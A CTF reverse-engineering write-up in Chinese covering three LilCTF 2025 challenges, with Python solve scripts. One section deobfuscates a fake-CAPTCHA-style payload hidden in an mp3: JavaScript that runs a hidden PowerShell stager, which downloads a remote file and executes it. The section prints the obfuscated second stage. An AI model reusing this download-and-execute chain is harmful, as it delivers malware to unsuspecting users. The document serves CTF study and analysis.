LilCTF 2025 Reverse WriteUp

ARM ASM | SOLVED | Azusaq

check 函数在 native 层，逻辑如下

vqtbl1q_s8 是查表替换，veorq_s8 是异或，三轮之后经过一个移位，再经过 base64 加密，base64 换成了自定义表

data = bytearray([0x92,0xb7,0x7c,0x0b,0xbc,0x6b,0xb2,0x39,0x7d,0x13,0xa1,0x50,0x72,0x20,0x48,0x62,0x34,0x61,0xc3,0xb0,0x54,0xeb,0x33,0x6d,0xca,0x35,0x72,0x5b,0xb7,0x66,0xf2,0xb6,0x69,0x93,0xbc,0x62,0xaa,0x33,0x67,0xf3,0x31,0x6b,0x9b,0x2d,0x6c,0x3b,0xaf,0x6c])

t = [0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00]

for j in range(0, 48, 3):
    data[j] = ((data[j] << 5) | (data[j] >> 3)) & 0xFF
    data[j+1] = ((data[j+1] << 1) | (data[j+1] >> 7)) & 0xFF

result = bytearray(48)

t2 = list(t)
for i in range(3):
    for j in range(16):
        t2[j] ^= i

tmp_t = list(t2)
for i in range(2, -1, -1):
    for j in range(16):
        tmp_t[j] ^= i
    
    for j in range(16):
        tmp = data[16*i + j] ^ tmp_t[j]
        result[16*i + tmp_t[j]] = tmp

print(result.decode())

obfusheader.h | SOLVED | Azusaq

给 input 的地址打上硬件断点动态调试，一点点找逻辑

找到的逻辑如下：

Random xor -> 循环右移四位 -> 按位取反

比较逻辑如下

input = [0x31] * 40
after = [0x47,0x7D,0x89,0x4C,0x55,0x76,0xC9,0x61,0x96,0x72,0xF9,0x2,0xB6,0x56,0xE5,0x58,0x4F,0x7D,0x70,0x50,0x55,0x71,0x94,0x3E,0x22,0x7C,0x98,0x4E,0xC8,0x10,0xF1,0x6D,0x47,0x26,0xAF,0x44,0xCC,0x30,0x7D,0x2]

enc = [0x5C,0xAF,0xB0,0x1C,0xFC,0xEF,0xC7,0x8F,0x1,0x88,0x36,0x39,0x13,0xBC,0x47,0x2F,0xE,0x7C,0xA8,0x8D,0xAA,0xF8,0xD2,0xFA,0xF8,0x2F,0x83,0xFD,0x73,0xA8,0x6,0x1C,0xCE,0x7B,0x40,0xBC,0x67,0xDC,0xDD,0x1B]

xor_table = [input[i] ^ after[i] for i in range(40)]

for i in range(len(enc)):
    enc[i] = (~enc[i]) & 0xff
    enc[i] = (enc[i] >> 4 | enc[i] << 4)&0xff
    enc[i] ^= xor_table[i]

print(bytearray(enc))

1'M no7 A rO6oT | SOLVED | Azusaq

从复制的链接中下载mp3文件，里面有一段混淆过的代码

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,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>

直接写到控制台，输出变量 SxhM 的值就行了

获得如下内容

function ioRjQ.(FVKq){var ohyLbg= "";for (var emGK = 0;emGK < FVKq.length; emGK++){var ndZC = String.fromCharCode(FVKqbemGK] - 601);ohyLbg = ohyLbg + ndZCoreturn ohyLbgo;var ohyLbg = ioRjQ.(b713O 712O 720O 702O 715O 716O 705O 702O 709O 709O 647O 702O 721O 702O 633O 646O 720O 633O 650O 633O 646O 702O 713O 633O 686O 711O 715O 702O 716O 717O 715O 706O 700O 717O 702O 701O 633O 646O 711O 712O 713O 633O 637O 670O 671O 685O 670O 633O 662O 641O 692O 715O 702O 704O 702O 721O 694O 659O 659O 678O 698O 717O 700O 705O 702O 716O 641O 640O 698O 654O 698O 658O 699O 653O 658O 703O 699O 657O 698O 701O 699O 702O 699O 657O 702O 650O 658O 700O 699O 702O 698O 652O 698O 703O 698O 658O 699O 703O 699O 703O 702O 700O 702O 702O 702O 657O 698O 658O 698O 651O 699O 698O 703O 655O 658O 703O 699O 654O 699O 703O 699O 657O 698O 658O 698O 650O 658O 702O 698O 652O 698O 652O 699O 657O 658O 649O 658O 703O 699O 654O 699O 703O 658O 699O 657O 652O 658O 699O 703O 698O 703O 657O 658O 649O 658O 699O 698O 654O 698O 651O 698O 657O 698O 652O 699O 699O 699O 703O 658O 700O 698O 652O 699O 699O 698O 658O 699O 702O 658O 703O 698O 653O 698O 658O 698O 649O 698O 649O 658O 649O 699O 698O 703O 701O 702O 651O 703O 700O 658O 649O 699O 700O 698O 652O 699O 699O 698O 658O 699O 702O 699O 703O 698O 653O 698O 658O 698O 649O 698O 649O 702O 651O 698O 658O 699O 653O 698O 658O 702O 702O 702O 700O 702O 650O 658O 699O 698O 654O 698O 651O 698O 657O 698O 652O 699O 699O 658O 703O 699O 657O 699O 654O 698O 649O 698O 658O 702O 700O 657O 653O 698O 654O 698O 657O 698O 657O 698O 658O 698O 651O 702O 700O 702O 650O 657O 701O 699O 702O 698O 699O 699O 658O 698O 650O 698O 658O 698O 651O 699O 657O 657O 649O 698O 654O 699O 703O 699O 657O 702O 700O 702O 699O 702O 650O 699O 699O 702O 699O 702O 649O 702O 699O 698O 653O 702O 699O 702O 649O 702O 699O 702O 650O 698O 658O 699O 700O 702O 699O 702O 649O 702O 699O 658O 658O 698O 651O 699O 702O 698O 658O 699O 703O 699O 657O 699O 702O 698O 654O 698O 703O 699O 657O 698O 658O 698O 657O 702O 699O 702O 649O 702O 699O 702O 650O 657O 703O 698O 652O 698O 650O 698O 650O 698O 701O 698O 651O 698O 657O 702O 699O 702O 649O 702O 702O 658O 703O 698O 658O 699O 657O 702O 650O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 702O 700O 703O 703O 702O 700O 702O 699O 698O 653O 699O 657O 699O 657O 699O 700O 703O 655O 702O 652O 702O 652O 698O 703O 698O 653O 698O 701O 698O 649O 698O 649O 698O 658O 698O 651O 698O 699O 698O 658O 702O 651O 699O 653O 698O 654O 698O 651O 699O 703O 698O 653O 698O 654O 702O 651O 698O 698O 699O 658O 698O 651O 703O 655O 703O 657O 703O 703O 703O 698O 703O 700O 703O 657O 702O 652O 698O 702O 698O 658O 699O 703O 699O 657O 699O 658O 698O 657O 698O 657O 698O 654O 698O 651O 698O 699O 702O 651O 698O 655O 699O 700O 698O 699O 702O 699O 703O 656O 658O 703O 657O 654O 702O 700O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 703O 655O 702O 652O 658O 655O 703O 657O 657O 657O 702O 700O 702O 699O 657O 651O 698O 658O 699O 657O 702O 651O 658O 699O 698O 658O 698O 702O 657O 703O 698O 649O 698O 654O 698O 658O 698O 651O 699O 657O 702O 699O 703O 656O 698O 703O 698O 657O 703O 656O 658O 703O 658O 698O 702O 700O 698O 703O 703O 657O 657O 653O 702O 700O 702O 653O 702O 651O 698O 700O 702O 657O 657O 658O 699O 653O 698O 658O 698O 703O 699O 658O 699O 657O 698O 654O 698O 652O 698O 651O 657O 703O 698O 652O 698O 651O 699O 657O 698O 658O 699O 653O 699O 657O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 657O 703O 698O 652O 698O 650O 698O 650O 698O 701O 698O 651O 698O 657O 702O 651O 702O 653O 702O 653O 698O 700O 702O 657O 657O 658O 699O 653O 698O 658O 698O 703O 699O 658O 699O 657O 698O 654O 698O 652O 698O 651O 657O 703O 698O 652O 698O 651O 699O 657O 698O 658O 699O 653O 699O 657O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 657O 703O 698O 652O 698O 650O 698O 650O 698O 701O 698O 651O 698O 657O 699O 649O 657O 699O 698O 658O 699O 657O 702O 650O 657O 650O 698O 658O 698O 650O 698O 702O 698O 658O 699O 702O 702O 654O 658O 656O 703O 702O 658O 650O 702O 651O 657O 651O 698O 701O 698O 650O 698O 658O 702O 654O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 702O 653O 698O 700O 702O 657O 657O 658O 699O 653O 698O 658O 698O 703O 699O 658O 699O 657O 698O 654O 698O 652O 698O 651O 657O 703O 698O 652O 698O 651O 699O 657O 698O 658O 699O 653O 699O 657O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 657O 703O 698O 652O 698O 650O 698O 650O 698O 701O 698O 651O 698O 657O 702O 651O 702O 653O 702O 653O 698O 700O 702O 657O 657O 658O 699O 653O 698O 658O 698O 703O 699O 658O 699O 657O 698O 654O 698O 652O 698O 651O 657O 703O 698O 652O 698O 651O 699O 657O 698O 658O 699O 653O 699O 657O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 657O 703O 698O 652O 698O 650O 698O 650O 698O 701O 698O 651O 698O 657O 699O 649O 657O 699O 698O 658O 699O 657O 702O 650O 657O 650O 698O 658O 698O 650O 698O 702O 698O 658O 699O 702O 699O 649O 658O 699O 698O 653O 698O 658O 699O 702O 698O 658O 699O 656O 702O 653O 657O 699O 658O 698O 702O 700O 658O 652O 702O 654O 702O 651O 658O 698O 698O 701O 698O 649O 699O 658O 698O 658O 702O 651O 657O 651O 698O 701O 698O 650O 698O 658O 702O 650O 698O 703O 698O 649O 698O 654O 698O 656O 698O 658O 702O 699O 702O 655O 698O 657O 657O 651O 698O 701O 698O 650O 698O 658O 702O 699O 699O 650O 702O 654O 702O 651O 657O 651O 698O 701O 698O 650O 698O 658O 702O 654O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 702O 653O 702O 699O 657O 651O 698O 658O 702O 655O 698O 703O 699O 657O 702O 699O 702O 649O 703O 701O 702O 649O 703O 701O 702O 654O 702O 654O 702O 653O 657O 649O 658O 703O 702O 700O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 703O 655O 702O 652O 658O 655O 703O 657O 657O 657O 702O 654O 702O 651O 658O 698O 698O 701O 698O 649O 699O 658O 698O 658O 702O 654O 703O 656O 658O 703O 658O 698O 702O 700O 657O 701O 702O 700O 702O 653O 702O 653O 702O 653O 702O 653O 657O 699O 698O 658O 699O 657O 702O 650O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 702O 700O 698O 703O 703O 657O 657O 653O 702O 700O 702O 650O 658O 698O 698O 701O 698O 649O 699O 658O 698O 658O 657O 652O 702O 654O 699O 649O 657O 699O 698O 658O 699O 657O 702O 650O 657O 650O 698O 658O 698O 650O 698O 702O 698O 658O 699O 702O 702O 654O 699O 649O 658O 699O 698O 653O 698O 658O 699O 702O 698O 658O 699O 656O 702O 653O 657O 699O 658O 698O 702O 700O 658O 652O 702O 654O 702O 651O 658O 698O 698O 701O 698O 649O 699O 658O 698O 658O 702O 651O 657O 651O 698O 701O 698O 650O 698O 658O 702O 650O 698O 703O 698O 649O 698O 654O 698O 656O 698O 658O 702O 699O 702O 655O 699O 699O 698O 651O 702O 655O 698O 657O 702O 655O 698O 699O 702O 699O 699O 650O 702O 654O 702O 651O 657O 651O 698O 701O 698O 650O 698O 658O 702O 654O 703O 656O 702O 698O 702O 653O 658O 656O 658O 703O 698O 703O 699O 702O 698O 654O 699O 700O 699O 657O 657O 702O 698O 649O 698O 652O 698O 703O 698O 656O 658O 650O 703O 655O 703O 655O 657O 703O 699O 702O 698O 658O 698O 701O 699O 657O 698O 658O 702O 653O 702O 653O 657O 699O 698O 658O 699O 657O 702O 650O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 702O 700O 698O 703O 703O 657O 657O 653O 702O 700O 702O 650O 658O 698O 698O 701O 698O 649O 699O 658O 698O 658O 657O 652O 702O 654O 702O 651O 702O 653O 702O 653O 657O 699O 698O 658O 699O 657O 702O 650O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 702O 700O 657O 701O 702O 654O 702O 651O 658O 698O 698O 701O 698O 649O 699O 658O 698O 658O 702O 654O 702O 651O 657O 654O 698O 651O 699O 698O 698O 652O 698O 656O 698O 658O 702O 653O 702O 653O 658O 698O 698O 701O 699O 702O 698O 654O 698O 701O 698O 702O 698O 649O 698O 658O 702O 700O 703O 703O 702O 700O 702O 650O 658O 698O 698O 701O 698O 649O 702O 654O 702O 654O 702O 654O 702O 654O 702O 702O 703O 656O 640O 645O 640O 647O 724O 651O 726O 640O 642O 633O 725O 633O 638O 633O 724O 633O 692O 700O 705O 698O 715O 694O 641O 692O 668O 712O 711O 719O 702O 715O 717O 694O 659O 659O 685O 712O 667O 722O 717O 702O 641O 637O 696O 647O 687O 698O 709O 718O 702O 645O 650O 655O 642O 633O 646O 699O 721O 712O 715O 633O 640O 651O 649O 653O 640O 642O 633O 726O 642O 633O 646O 707O 712O 706O 711O 633O 640O 640O 660O 639O 633O 637O 670O 671O 685O 670O 647O 684O 718O 699O 716O 717O 715O 706O 711O 704O 641O 649O 645O 652O 642O 633O 637O 670O 671O 685O 670O 647O 684O 718O 699O 716O 717O 715O 706O 711O 704O 641O 652O 642]);var emGK = ioRjQ.(b688O684O700O715O706O713O717O647O684O705O702O709O709]);var ioRjQ. = new ActiveXObject(emGK);ioRjQ..Run(ohyLbgO 0O true);

对每一个字符减去601

e = [713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700, 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698, 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652, 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702, 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698, 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700, 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699, 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699, 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698, 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658, 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702, 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703, 655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658, 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698, 653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 657, 703, 703, 703, 698, 703, 700, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699, 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700, 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658, 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657, 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658, 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657, 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698, 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654, 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703, 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 699, 649, 657, 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702, 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 699, 699, 698, 651, 702, 655, 698, 657, 702, 655, 698, 699, 702, 699, 699, 650, 702, 654, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654, 703, 656, 702, 698, 702, 653, 658, 656, 658, 703, 698, 703, 699, 702, 698, 654, 699, 700, 699, 657, 657, 702, 698, 649, 698, 652, 698, 703, 698, 656, 658, 650, 703, 655, 703, 655, 657, 703, 699, 702, 698, 658, 698, 701, 699, 657, 698, 658, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702, 654, 702, 651, 702, 653, 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 657, 701, 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 702, 653, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 703, 703, 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 702, 654, 702, 654, 702, 654, 702, 654, 702, 702, 703, 656, 640, 645, 640, 647, 724, 651, 726, 640, 642, 633, 725, 633, 638, 633, 724, 633, 692, 700, 705, 698, 715, 694, 641, 692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642]

for i in e:
    print(chr(i - 601), end='')

得到

powershell.exe -w 1 -ep Unrestricted -nop $EFTE =([regex]::Matches('a5a9b49fb8adbeb8e19cbea3afa9bfbfeceee8a9a2baf69fb5bfb8a9a19ea3a3b8909fb5bf9b839bfaf8909ba5a2a8a3bbbf9ca3bba9be9fa4a9a0a090bafde2fc90bca3bba9bebfa4a9a0a0e2a9b4a9eeece19ba5a2a8a3bb9fb8b5a0a9ec84a5a8a8a9a2ece18dbeabb9a1a9a2b880a5bfb8ecebe1bbebe0eba4ebe0ebe1a9bcebe0eb99a2bea9bfb8bea5afb8a9a8ebe0ebe18fa3a1a1ada2a8ebe0ee9fa9b8e19aadbea5adaea0a9ecffeceba4b8b8bcf6e3e3afa4ada0a0a9a2aba9e2b4a5a2bfa4a5e2aab9a2f6f8fffafcf8e3aea9bfb8b9a8a8a5a2abe2a6bcabebf79f85ec9aadbea5adaea0a9f6e396f888eceb82a9b8e29ba9ae8fa0a5a9a2b8ebf7afa8f79f9aecaff884ece4e2ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9bee597fe91e282ada1a9e5e285a2baa3a7a9e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8e2e4e4ace889b4a9afb9b8a5a3a28fa3a2b8a9b4b8e285a2baa3a7a98fa3a1a1ada2a8b08ba9b8e181a9a1aea9beb09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6a882ada1a9ebb1e5e282ada1a9e5e285a2baa3a7a9e4eb82a9e6afb8ebe0fde0fde5e5e4809fec9aadbea5adaea0a9f6e396f888e5e29aada0b9a9e5f79f9aec8dece4e4e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5b08ba9b8e181a9a1aea9bee5b09ba4a9bea9b7e48b9aec93e5e29aada0b9a9e282ada1a9e1afa0a5a7a9ebe6bba2e6a8e6abebb1e5e282ada1a9e5f7eae4979fafbea5bcb88ea0a3afa791f6f68fbea9adb8a9e4e48ba9b8e19aadbea5adaea0a9ecaff884ece19aada0b9a983e5e2e4e48ba9b8e19aadbea5adaea0a9ec8de5e29aada0b9a9e5e285a2baa3a7a9e4e49aadbea5adaea0a9ecffece19aada0e5e5e5e5eef7','.{2}') | % { [char]([Convert]::ToByte($_.Value,16) -bxor '204') }) -join '';& $EFTE.Substring(0,3) $EFTE.Substring(3)

将十六进制数转为字符串再异或0xcc

得到

iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:43604/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))";

通过 http://challenge.xinshi.fun:43604/bestudding.jpg 链接下载 bestudding，内容如下

('('  | % { $r = + $() } { $u = $r } { $b = ++  $r } { $q = (  $r = $r + $b  ) } { $z = (  $r = $r + $b  ) } { $o = ($r = $r + $b  ) } { $d = ($r = $r + $b  ) } { $h = ($r = $r + $b  ) } { $e = ($r = $r + $b  ) } { $i = ($r = $r + $b  ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{  })"[$e  ] + "$(@{  })"[  "$b$l"  ] + "$(@{  }  )  "[  "$q$u"  ] + "$?"[$b  ] + "]" } { $r = "".("$(  @{}  )  "[  "$b$o"  ] + "$(@{})  "[  "$b$h"] + "$(  @{  }  )"[$u] + "$(@{}  )"[$o] + "$?  "[  $b] + "$(  @{})"[$z  ]) } { $r = "$(@{  }  )"[  "$b" + "$o"] + "$(@{  })  "[$o  ] + "$r"["$q" + "$e"  ] }  )  ;  " $r  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 "  |  .$r 

先求出映射表

'u' = 0; 'b' = 1; 'q' = 2; 'z' = 3; 'o' = 4 'd' = 5; 'h' = 6; 'e' = 7; 'i' = 8; 'x' = 6; 'l' = 9

g 通过`System.Collections.Hashtable`字符串的索引和 ? 的索引结合得到，?是 True，得到 g 是[CHar]，后面通过字母映射到数字获得字符

